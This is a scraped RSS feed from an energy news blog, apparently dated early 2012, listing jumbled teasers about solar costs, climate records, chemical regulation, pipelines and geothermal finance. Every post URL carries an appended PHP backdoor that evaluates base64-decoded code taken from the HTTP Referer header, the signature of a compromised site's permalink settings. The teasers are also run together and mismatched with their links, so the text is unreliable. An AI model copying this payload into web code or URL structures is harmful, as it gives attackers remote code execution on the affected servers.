http://monitorpowercost.com Monitor Power Costs by Installing a Electricity Monitor Sat, 04 Feb 2012 15:46:02 +0000 http://backend.userland.com/rss092 en Changing Culture Changes Behavior: Labor Union Treasure Hunts find lasting sucessBy Jenna SkowronskiEnvironmental Defense Funds (EDF) innovative partnership with labor union IUE-CWA took me close to home with its second Treasure Hunt at CCL Container in Hermitage, PA, a facility that designs and manufactures aluminum based packaging products for a ... http://monitorpowercost.com/2012/02/04/three-jokers-in-the-energy-deck/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Solar Getting Cheaper, But Not EquallyFiled under: Energy NewsGlobally, 9 of the 10 warmest years on record occurred since 2000The global average temperature last year was the ninth-warmest in the modern meteorological record, continuing a trend linked to greenhouse gases that saw nine of the 10 hottest years occurring since ... http://monitorpowercost.com/2012/02/03/take-action-stop-enviro-attacks-in-congress/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A Surprising Call From The Investment CommunityFiled under: Energy NewsNo orphan left behind: Health and environmental NGOs support EPAs proposed paired rules to address high production volume "orphan" chemicalsBy Richard DenisonRichard Denison, Ph.D., is a Senior Scientist. http://monitorpowercost.com/2012/02/02/stop-the-environment-vs-economy-nonsenseeur-or-eurrisk-becoming-irrelevant-leading-investor-says-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ No reason to rush decision on pipeline.It will take far more than the short 60-day limit Congress irresponsibly imposed for deciding whether some version of the project can be done without inflicting unacceptable and irreversible damage to the environmnent.Fords Future Cars: Plastic Bottle Carpets and Soy SeatsHave you ever wondered ... http://monitorpowercost.com/2012/02/01/building-a-sustainable-hydrogen-economy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Climate change brings alien species to Canada: Study.A newly published study says alien plants and animals are already invading Canada through doors opened by climate change EUR and research and policy are lagging far behind.Goodall says saving apes requires habitat support.Ape expert Jane Goodall, in Des Moines on Thursday to ... http://monitorpowercost.com/2012/01/31/take-action-support-stronger-fuel-economy-standards/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Dell, HP Cut PC Power Consumption 2010For both laptop and desktop computers, Dell plans to cut power consumption as part of its required work on compliance with the EPA’s EnergyStar 5.0 standard, reports Mark Hachman of pcmag.com. HP earlier said it would cut power use of “volume” PCs by 25 ... http://monitorpowercost.com/2012/01/30/us-saw-records-for-extreme-weather-in-2011/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://monitorpowercost.com/2012/01/29/switchgrass-shows-potential-as-biofuel-material/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Genetically Modified Plants To Resist Intense DroughtIsraeli agro-biotechnology company, Rosetta Green, has developed a new technology to develop plants that are better able to withstand prolonged periods of severe drought. The company aims to develop new plant varieties resistant to harsh climatic condition, maintaining an increased yield. The company, based ... http://monitorpowercost.com/2012/01/28/cruise-ship-environmental-issues/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Policy Briefs from Energy Strategy SummitFiled under: Energy NewsClimate change threatens California economy by changing ecosystems Study identifies changes to vegetation types, impacts to ranching, carbon storage ... http://monitorpowercost.com/2012/01/27/the-100th-object/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ GEOTHERMAL ENERGY FINANCE FORUM CONCLUDES WITH CALL FOR NEW APPROACHES TO EXPANDING GEOTHERMAL POWER PRODUCTIONFiled under: Energy NewsWith pipeline stopped for now, tar sands battle continues in California courts.A high-stakes legal battle is underway in California over whether the state's clean air agency can enforce a first-ever rule to slash ... http://monitorpowercost.com/2012/01/26/geothermal-energy-finance-forum-concludes-with-call-for-new-approaches-to-expanding-geothermal-power-production/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/